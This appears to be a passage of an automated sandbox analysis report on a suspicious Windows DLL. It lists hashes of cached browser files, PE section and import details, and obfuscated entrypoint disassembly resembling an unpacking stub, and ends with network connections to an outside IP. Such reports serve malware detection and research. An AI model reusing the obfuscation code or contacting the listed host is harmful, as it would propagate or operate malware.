File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	4720
Entropy (8bit):	5.164796203267696
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g+mOQb7A9o:JsUOG1yNlX6ZzWpHOWLia16Cb7bk
MD5:	D65EC06F21C379C87040B83CC1ABAC6B
SHA1:	208D0A0BB775661758394BE7E4AFB18357E46C8B
SHA-256:	A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
SHA-512:	8A166D26B49A5D95AEA49BC649E5EA58786A2191F4D2ADAC6F5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299E
Malicious:	false
IE Cache URL:	res://ieframe.dll/errorPageStrings.js
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\lK_FmcR4naKX9hpIwfe9ify1hf4.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	125734
Entropy (8bit):	5.670169400028476
Encrypted:	false
SSDEEP:	1536:ppkCMu1Rv0SuDHT4kfr5IRnO8E9FqJCnq1EoAXycCroA0wT8aHs3:3Mu1Rv0SvNmeGq1ENXdTAVM
MD5:	C24FE194A488B12CCE5B3858D12C2C3D
SHA1:	E55B3E549CA42D614BEE0C4538F9EDA6C89DE00D
SHA-256:	45A1BD96D9A1BB1F03191C2F062FDC5369542864C4777A67623811BE6463D4D6
SHA-512:	4F1C02C2FE716DBEAF061DC9476AD35E33F5C808FD3D79D0ADBECED81B65A02225F7356DBCB10A7232BDD7D02BC0C908F17BB61B058FF5FB99747202522B5473
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/lK_FmcR4naKX9hpIwfe9ify1hf4.gz.js
Preview:	var __assign=this&&this.__assign\|\|function(){return __assign=Object.assign\|\|function(n){for(var t,r,i=1,u=arguments.length;i<u;i++){t=arguments[i];for(r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n[r]=t[r])}return n},__assign.apply(this,arguments)},__rest=this&&this.__rest\|\|function(n,t){var u={},r;for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&t.indexOf(i)<0&&(u[i]=n[i]);if(n!=null&&typeof Object.getOwnPropertySymbols=="function")for(r=0,i=Object.getOwnPropertySymbols(n);r<i.length;r++)t.indexOf(i[r])<0&&Object.prototype.propertyIsEnumerable.call(n,i[r])&&(u[i[r]]=n[i[r]]);return u},__spreadArrays=this&&this.__spreadArrays\|\|function(){for(var i=0,n=0,r=arguments.length;n<r;n++)i+=arguments[n].length;for(var u=Array(i),f=0,n=0;n<r;n++)for(var e=arguments[n],t=0,o=e.length;t<o;t++,f++)u[f]=e[t];return u},__awaiter=this&&this.__awaiter\|\|function(n,t,i,r){function u(n){return n instanceof i?n:new i(function(t){t(n)})}return new(i\|\|(i=Promise))(function(i,f){function o(n){

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\model[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	16232
Entropy (8bit):	5.521169464151162
Encrypted:	false
SSDEEP:	384:HiePm3yt9YYr+R1r6m75bh5u5hOuKsVMhu3kx0m4iDewY/rfrEraIO1uYPW:CZ3yjYYQF5uTOuKsV2u3kx0m4iDewY/i
MD5:	674960F3F7AE46A594B5859BD6E6A698
SHA1:	CBD0345D8D39D145F0696FA5085391D4C382D628
SHA-256:	94D6D69973E55C3528543D3C7FB9177E6698B1F27C254DEAD11769173C85BD62
SHA-512:	3E1470CFBCF50B225B4625B3C15F88737D25DE79E2E756C0CDEBB8D6EC2971C9B360B244024798FD95BB991534E324A6E8BDD63BA01797551CAE78A98A39B60B
Malicious:	false
IE Cache URL:	https://www.bing.com/hp/api/model?form=REDIRERR
Preview:	{"ClientSettings":{"Pn":{"Cn":1,"St":0,"Qs":0,"Prod":"P"},"Sc":{"Cn":1,"St":0,"Qs":0,"Prod":"H"},"Qz":{"Cn":1,"St":0,"Qs":0,"Prod":"T"},"Ap":true,"Mute":true,"Lad":"2021-04-04T00:00:00Z","Iotd":0,"Dft":null,"Mvs":0,"Flt":0,"Imp":2},"MediaContents":[{"ImageContent":{"Description":"If you find yourself in Germany or Austria around Easter, you.ll see trees, branches and bushes decorated in colourful eggs such as these. The Ostereierbaum (or Easter egg tree) is a German tradition dating back centuries. Nobody is quite sure of the exact origin, but eggs have long been a symbol of rebirth and spring.","Image":{"Url":"/th?id=OHR.EggTree_ROW9453259256_1920x1080.jpg&rf=LaDigue_1920x1080.jpg","Wallpaper":"/th?id=OHR.EggTree_ROW9453259256_1920x1200.jpg&rf=LaDigue_1920x1200.jpg","Downloadable":true},"Headline":"Info","Title":"Ostereierbaum (Easter egg tree) in Saalfeld, Germany","Copyright":". Rudi Sebastian/Alamy","SocialGood":null,"MapLink":{"Url":"","Link":""},"QuickFact":{"MainText":"","Lin

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\msnpopularnow[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	10557
Entropy (8bit):	5.518665687721615
Encrypted:	false
SSDEEP:	192:Z/m8FlXHUHRiHeRABau450ZqVPtNK3Hutvzx/JTpkH2W8TDE3PXIt6pNsmlXbOmL:xm8XXHKNicP+c1U+txhTp5WC+A8IwQ2l
MD5:	71185BA6B97E9A2E74DFE7A2D1CA07EA
SHA1:	07ABA570A6FCB6CBF848FA621343AC4FA849B19B
SHA-256:	BC90D83DD02A419048C92CDDC51FCCAD0AE5A26B9AEAD6130C3F2E1EDAB96C2A
SHA-512:	DC8FAE80B64EB351E1ADF5B5F6B1566BE4E441032C9F818B5A6E29F5527D04056781633AF8D1916ED622D9E7B05F0B66FD6943D8CC9F9B7F7C7CD94979440E9A
Malicious:	false
IE Cache URL:	https://www.bing.com/hp/api/v1/msnpopularnow?&format=json&ecount=20&efirst=0&&form=REDIRERR
Preview:	{"title":"","data":[{"typeName":"Msn","items":[{"url":"https://www.msn.com/de-ch/nachrichten/schweiz/schweizer-pass-nach-der-schulzeit-junge-glp-will-einb.rgerungsdebatte-aufmischen/ar-BB1fif4j?ocid=BingHPC","imageUrl":"/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fiaI7.img&ehk=3CfFOJqoBtbGInsAB%2fv9rlt%2f4VmgtElnbKf98WA8jNw%3d&w=150&h=150&c=8&rs=2&pid=WP0","shortTitle":"watson.ch","longTitle":"Junge GLP fordert Recht auf Schweizer Pass nach der Schulzeit","accessibilityTitle":"","subtext":"","isRecommendedNews":false},{"url":"https://www.msn.com/de-ch/nachrichten/vermischtes/taucherin-tot-aus-dem-rhein-geborgen/ar-BB1fi1Ia?ocid=BingHPC","imageUrl":"/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fhZsE.img&ehk=wkstOBEs6%2f%2bY%2bU76Drh7M5rDa8DMwYuFJILSwcR2QeM%3d&w=150&h=150&c=8&rs=2&pid=WP0","shortTitle":"watson.ch","longTitle":"Taucherin tot aus dem Rhein geborgen","accessibilityTitle":"","subtext":"","isRecommendedNews

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\mw5FvbmnxUiS8Gbwzw9L14Ee8F8.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	67037
Entropy (8bit):	5.235042447881506
Encrypted:	false
SSDEEP:	768:PfY2/W3m6CHbtHWtBkrel21k4Q8BLBSaJBe7BHyJxBCGnVW4nMO51sEBvkH7BSVq:Y2r23cnq5QPW4nMETv8jYXmNw6V+oF
MD5:	32C8A14D92DE1A36A11B131D48E4C307
SHA1:	5498735530EE16C300CB9E1691BA7356D3163BAC
SHA-256:	CCB7262C883581BB88476377D29E45FE415A403B5DB1143EE493166EF3E2D047
SHA-512:	775BCF9C00D56A28840D30172CC2D598412475FFC5D169F83041AF25C17C5EE252F7B7E272362876ABA83CEC34C9752634663D90502B3F75CF31113283E53A3E
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/mw5FvbmnxUiS8Gbwzw9L14Ee8F8.gz.js
Preview:	var AutoSuggest,__extends,Bing,sa_inst;(function(n){var t;(function(n){var t,i,r,u,f,e;(function(n){n.User="SRCHHPGUSR"})(t=n.CookieNames\|\|(n.CookieNames={})),function(n){n.AutoSuggest="AS"}(i=n.CrumbNames\|\|(n.CrumbNames={})),function(n){n.CursorPosition="cp";n.ConversationId="cvid";n.SuggestionCount="sc";n.PartialQuery="pq";n.SuggestionPosition="sp";n.SuggestionType="qs";n.PreviewPaneSuggestionType="qsc";n.SkipValue="sk";n.PreviewPaneSkipValue="skc";n.Ghosting="ghc";n.Css="css";n.Count="count";n.DataSet="ds";n.SessionId="sid";n.TimeStamp="qt";n.Query="q";n.ImpressionGuid="ig";n.QFQuery="qry";n.BaseQuery="bq";n.FormCode="form";n.HashedMuid="nclid";n.RequestElToken="elvr";n.ElTokenValue="elv";n.AppId="appid";n.History="history";n.NoHistory="nohs";n.ApiTextDecoration="textdecorations";n.ClientId="clientid";n.Market="mkt";n.Scope="scope";n.CountryCode="cc";n.HomeGeographicRegion="hgr";n.SetLang="setlang";n.ZeroInputSerp="zis"}(r=n.QueryParams\|\|(n.QueryParams={})),function(n){n.ImpressionG

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\sbi[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	46137
Entropy (8bit):	5.492718429280291
Encrypted:	false
SSDEEP:	768:WkuL2ym/YIZE2u1U5l7Ez+YIdQFSO4FWCPPZPzATfZjFwummSczZxG3IuO7JUDWB:plB1FWCpPwkNijuSjyir
MD5:	8147A3C6CCDAD2147CA32BA6DB54E40A
SHA1:	3257CCC8CED1107ACBE3697B61F1C5ED3A86A4E6
SHA-256:	E783F26B771F68588FF468DE04C50E6A3E7BC4A11FEBDB52A17511E9DFE91297
SHA-512:	005695CB7F9FBB397109F11FDD375F23D5C678C7F26036E3937C916F75C96857F6A7C1B10D5820588461479A14B69026A3277389E5C02D09359D5A2BD9CF3C67
Malicious:	false
IE Cache URL:	https://www.bing.com/images/sbi?mmasync=1&ptn=Homepage&IID=SBI&IG=EBB986E90AE348D6A86555D8C300ED2D&form=REDIRERR
Preview:	<style type="text/css">#sbiarea,#sbicom{display:none}.hassbi #sbiarea{display:inline-block}#sbiarea{margin:0 0 0 18px}.sbox #sb_form #sbiarea{margin:0}#sb_sbi{display:inline-block;cursor:pointer}img#sbi_b{vertical-align:-2px;height:20px;width:20px}#detailPage #detailheader img#sbi_b,.blue2#miniheader img#sbi_b,.sbox img#sbi_b{vertical-align:-3px}.blue2#miniheader img#sbi_b{vertical-align:-1px}#sbi_b.grayscaled{filter:grayscale(1) brightness(1.4);-webkit-filter:grayscale(1) brightness(1.4)}#sbi_b.grayscaled:hover{filter:grayscale(1) brightness(1);-webkit-filter:grayscale(1) brightness(1)}#sb_sbip[shdlg] #sbi_b{filter:grayscale(0);-webkit-filter:grayscale(0)}#sb_sbip .rms_iac{display:inline-block}#sb_sbip:not(.disableTooltip):hover::before,#sb_sbip.shtip:not(.disableTooltip)::before,#sb_sbip[vptest]::before{bottom:-27px;left:10px;z-index:6}#sb_sbip:not(.disableTooltip):hover::after,#sb_sbip.shtip:not(.disableTooltip)::after,#sb_sbip[vptest]::after{top:40px;left:10px;z-index:4}#hp_contain

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\svI82uPNFRD54V4bMLaeahXQXBI.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	425
Entropy (8bit):	4.963129739598361
Encrypted:	false
SSDEEP:	12:2gXsmzwKN0yApFkRLNF1Jfa1VTWPMg9pIGywV:2gX9zwKN0yAqr1Jfa1V059V
MD5:	016ECFDB34031F881FA5E34DFBD0B7A1
SHA1:	16D3BA1049939D00AE47AAD053993B4762D9B102
SHA-256:	08021ED3BCA5532304B597E636BEB939FF7BAA6D08DCA4E94C0DDE1FDF940389
SHA-512:	D61045D1F07ED241626B8233D388F5E1AD54DBE224871E1CE872ECFD0E29F05A21F0EA02FFDE688FACB134DD969533615493BD35EBA4D5E755840C30A687EE00
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/svI82uPNFRD54V4bMLaeahXQXBI.gz.js
Preview:	(function(n){function f(){u(sj_be,r)}function r(i){return i&&n.enqueue(t,i),!0}function e(){u(sj_ue,r)}function u(n,t){for(var u,r=0;r<i.length;r++)u=i[r],n(u==="resize"?window:document,window.navigator.pointerEnabled?u.replace("mouse","pointer"):u,t,!1)}var t="EVT",i=["click","mousedown","mouseup","touchstart","touchend","mousemove","touchmove","scroll","keydown","resize"];n.wireup(t,{load:f,compute:null,unload:e})})(BM)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\test[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.373593025747649
Encrypted:	false
SSDEEP:	3:UMs1TE5LH0cHrJU4YCf:U37cVUof
MD5:	E82D9BD501B46DF5CB2B650AF9E1B126
SHA1:	0FE6876226E88D8104ED51CB6329EB172BBA8D68
SHA-256:	C2BA8FCCFC980BCC8FC24E7A41BFCFEE88CCA9331C8D4D62890D7DFAB4A12226
SHA-512:	D3715E6A3C9012F2D8E1269E5C4B3E2F77FD2CD8E793AD39E51F1E1BE30F0818DDD01FAF3708EF789FDF347B92C6477C10A1155DEC582FF68185CBFD41C662E4
Malicious:	false
Preview:	IPv6Tests.TestIPv6Response('{"type": "4"}');

C:\Users\user\AppData\Local\Temp\JavaDeployReg.log Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	89
Entropy (8bit):	4.48547855515619
Encrypted:	false
SSDEEP:	3:oVXU17FUdQdwLdAIRAW8JOGXnE17FUdQdwLdAmn:o9U5FUuwaIHqE5FUuwam
MD5:	8B3CFBC42F2639C99D24A94D146948B2
SHA1:	FDE80636347D665804FF4B1F65D166BB42397CF1
SHA-256:	3DFA3855A1B776DC53C2FDC392FA6E7BB4B6D3543F11A6CB9556D757127B5B23
SHA-512:	0E78BE4AA1775DA195DC93377A002E532D95F399A7C4D2EC9CB6C20D534BACD079AB67C8EB1A12A048C9D1B688F93D5D912F0A15B9744FCE865DAC3A7BD715FB
Malicious:	false
Preview:	[2021/04/04 18:58:07.813] Latest deploy version: ..[2021/04/04 18:58:07.813] 11.211.2 ..

C:\Users\user\AppData\Local\Temp\~DF151D54B9C8834E13.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	0.4102005102730986
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9loywzDF9loywzJ9lWywzIzezGxzYGzezGIzOz2:kBqoIy0Sy0My08yGVYqyG8i2
MD5:	91CBFF22F5DE8CEA5C550167F39F6725
SHA1:	39AA87140E4EAA5138727F4E17CB215D0AB4CBB5
SHA-256:	88F24CA396EF6BA060FC399CD376D492F76DAFCC8F6C7B5D1E85C6927146FF71
SHA-512:	28FB6B7C668CF1A99876C71CBE9313793FF731F4315C887212060D53FD66A66B7DA1A3B78250B51A5EDB555A3968FA1AA2D9403B9BE951D4D211A2D852D083A1
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF2BDEFB39AD00846A.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12917
Entropy (8bit):	0.39939581723099876
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9lolZDF9lolZJ9lWlZKZMZGcMZtIMZMZGTMZH:kBqoIlZSlZMlZKZMZGcMZtIMZMZGTMZH
MD5:	082BA20C9E500A99FCCA8ECC24D2954A
SHA1:	14704599C215F3CEAF101E68FEDFD81F80625B26
SHA-256:	8D5111EE3B551C19B921A4EDB5301B8C1EFA03FC0C0A60C5D878CD3626E428AD
SHA-512:	56A15BE6376DB49C2EEB587B46F4CFA324692BBC2F3EC21753DD42F25F2F4E24D810AB46A32205180A438FF936BDC44A73A8EF8DD5FC11065E12B5DCAC832C61
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF578A2C0B299D947D.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	50577
Entropy (8bit):	1.2633651823146383
Encrypted:	false
SSDEEP:	384:kBqoxKAuqR+gm89mgHBGBE0fBEB+BLBn4BwyUdBy7HscSB:IATm89KtMo7HS
MD5:	73089786A5347F9A3D268EA3D1412967
SHA1:	7D96C8A182BD43E58DD836AD1DC4FFAEA397BAD5
SHA-256:	F6CE39599C5E1EE992A30E97C2633D6A14081A37313DF0711BB42F433914F874
SHA-512:	429A6903B1F7C5076E7150777FBCDD24B28FFEFDE4C533DC9D212E8CD3D681F7CC611EDE0E3D29F2965B07809919F2AC883151FEA232005FFE5C5AF7ED406D02
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF76D71240BBB52F37.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	53702
Entropy (8bit):	1.4612438248395663
Encrypted:	false
SSDEEP:	384:kBqoxKAuqR+AGcdGX1jZIXhQsfxOfxfjfxRF2qIXhQsfRr0rAHam:XjOXhQ2xoxfzxWNXhQ2p0AHam
MD5:	67E936E7C1A323243EC22645B675DF28
SHA1:	C04141F601A628276DC0BD5907AA8E003117E1CB
SHA-256:	68AC4EEF4EC3021F96DC116EC7E7E8FFA6F38FCC9835977B8CEFDE3EED699C6F
SHA-512:	DC0EAAD876740C74B8DC7F1483BAD4F1DD7D1EFFBB6C9F75A9E4A1157DF688D489B161280F716D5D45F8E6B5AE245A13CE2B35A5DB41DE76BD517F12624978F9
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF889CD68E6AF82E71.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	34817
Entropy (8bit):	0.4330052076293598
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9lRg9lRA9lTS9lTy9lSSd9lSSd9lw89lws9l269l2a9l/OK:kBqoxKAuvScS+/hDqOIOWkrhrSwhB6
MD5:	58C4D56EF3FF657369C6944A1E4704DD
SHA1:	0E87F6C3F902FD2AA22038EBF86453F94B91ED67
SHA-256:	CB49E41729B9839202FAAF61B1A574E7A144DE971CDFE5EDA247B6B4F850E5FB
SHA-512:	0D6051FF1786A759CB6B772E3FDFBECDEE1987A10E7A4C45FEEF00297E36180ED5A509C3364E38935633449F1D8DFF1636235877504A06DF05BAD6472EF867F9
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFB944C173FC982650.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39585
Entropy (8bit):	0.5620082532396382
Encrypted:	false
SSDEEP:	48:kBqoxKAuvScS+Jn1kYIY3m6s5hxDmilm6s5hxDmi06s5hxDmil:kBqoxKAuvScS+Jn1kHCmx/lmx/0x/l
MD5:	B6554A0C5EF640B21AA72A35063DD7C1
SHA1:	1FD4CF484AB411765AEF4BB7B82A851B300168EA
SHA-256:	BDCFA20535C1042A3C2D46AB2DD3AEF902EDA45B267072EE9ACC33D7AB4FEA1E
SHA-512:	95E87C9AEBA46F3E136264A67C4D3C817E53C9915E6DBE7088EE9153B33EEB5CDB6580F3CA7365897EBDD9F03EB97A6795F23F37912C99ED3674E5947F3D83EC
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFBE9DA88A057F346C.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	13237
Entropy (8bit):	0.6031520307853833
Encrypted:	false
SSDEEP:	96:kBqoI+S+M+/dGSSdGZqGZAG2EodGZAG/nGZoEoS2:kBqoIZvk
MD5:	B186D3A577C6FA6033273DBA4B17210D
SHA1:	C6AD1AA4E4926B1F5CC2DB710AD1BCCCB58F651A
SHA-256:	FCAEA86F7E636FA0C4630F668EA593597718F422990A9EC6A526B4ED2362FC94
SHA-512:	F535A8FBA42DA352512CAD9BE6A7B08C39684A285F635B2B95DB630C559FF9B928491ADA61E392EA2ED980BB4D1E9570D4EC820D6772990C65F5199DB873DA94
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.103552893623064
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	KAsJ2r4XYY.dll
File size:	128528
MD5:	2d242e5ea5fbb1541d1c72b6a01236f6
SHA1:	1c593344883c0db0f34a917381ea7865cbfceba2
SHA256:	d7102c2bee0abe8f04f3faf34374462dbe7b528f3de6492b6e9ce230a5a8d5ef
SHA512:	6d80bbd41c916b660a0d798208585a327c7322ee83f8ad4c7af7668dd0c6ceb8a39491abc56ab430418e5bc2ec9df4a547f0e833984ed7ea18b4b148d26359c3
SSDEEP:	1536:DWKaY5Se9WnVI78XvnoxJasJvRHKmyGDvDk0Rt9Y56l5ZMpvV05o9OX5xPw8:DWa0eQnVI7qCqZGDvDk4wol5w0EU
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._W...6e..6e..6e..)v..6e...w..6e.Rich.6e.................PE..L.....f`...........!.....Z...........`.......p.....................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x10006099
Entrypoint Section:	.code
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:
Time Stamp:	0x6066E9D0 [Fri Apr 2 09:54:24 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	811de8e945c2087a6e052096546cd842

Entrypoint Preview

Instruction
push ebx
push ebx
and dword ptr [esp], 00000000h
add dword ptr [esp], ebp
mov ebp, esp
add esp, FFFFFFF8h
push esi
mov dword ptr [esp], FFFF0000h
call 00007F0D71016B30h
push ecx
add dword ptr [esp], 00000247h
sub dword ptr [esp], ecx
push ecx
mov dword ptr [esp], 00005267h
call 00007F0D710134D9h
push esi
mov esi, eax
or esi, eax
mov eax, esi
pop esi
jne 00007F0D710185D2h
pushad
push 00000000h
mov dword ptr [esp], edi
xor edi, edi
or edi, dword ptr [ebx+0041856Bh]
mov eax, edi
pop edi
push edx
add dword ptr [esp], 40h
sub dword ptr [esp], edx
push ebx
mov dword ptr [esp], 00001000h
push edi
sub dword ptr [esp], edi
xor dword ptr [esp], eax
push 00000000h
call dword ptr [ebx+0045D014h]
mov dword ptr [ebp-04h], ecx
and ecx, 00000000h
xor ecx, eax
and edi, 00000000h
or edi, ecx
mov ecx, dword ptr [ebp-04h]
push eax
sub eax, dword ptr [esp]
or eax, edi
and dword ptr [ebx+0041809Bh], 00000000h
xor dword ptr [ebx+0041809Bh], eax
pop eax
cmp ebx, 00000000h
jbe 00007F0D710185AEh
add dword ptr [ebx+004180F7h], ebx
add dword ptr [ebx+00418633h], ebx
mov dword ptr [ebp-04h], edx
sub edx, edx
xor edx, dword ptr [ebx+004180F7h]
mov esi, edx
mov edx, dword ptr [ebp-04h]
push edi
xor edi, dword ptr [esp]
xor edi, dword ptr [ebx+0041856Bh]
and ecx, 00000000h
or ecx, edi
pop edi
cld
rep movsb
push ebx
mov dword ptr [eax+eax], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x17000	0x51	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5d050	0x64	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5d000	0x50	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.code	0x1000	0x15966	0x15a00	False	0.70799087789	data	6.48337924377	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x17000	0x51	0x200	False	0.140625	data	0.863325225156	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rdata	0x18000	0x44c5f	0x1800	False	0.13330078125	data	0.926783139034	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.data	0x5d000	0x250	0x400	False	0.2900390625	data	2.96075631554	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
user32.dll	GetActiveWindow, CheckDlgButton, CheckMenuItem, CheckRadioButton, CheckMenuRadioItem
kernel32.dll	GetProcAddress, LoadLibraryA, VirtualProtect, VirtualAlloc, lstrlenA, GetCurrentThreadId, GetCurrentProcess, GetCurrentThread, Module32FirstW
ole32.dll	OleInitialize
comctl32.dll	DPA_Sort

Exports

Name	Ordinal	Address
StartService	1	0x1000b959

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 4, 2021 18:58:07.600804090 CEST	49748	80	192.168.2.3	185.243.114.196
Apr 4, 2021 18:58:07.600861073 CEST	49749	80	192.168.2.3	185.243.114.196
Apr 4, 2021 18:58:08.590600014 CEST	49748	80	192.168.2.3	185.243.114.196
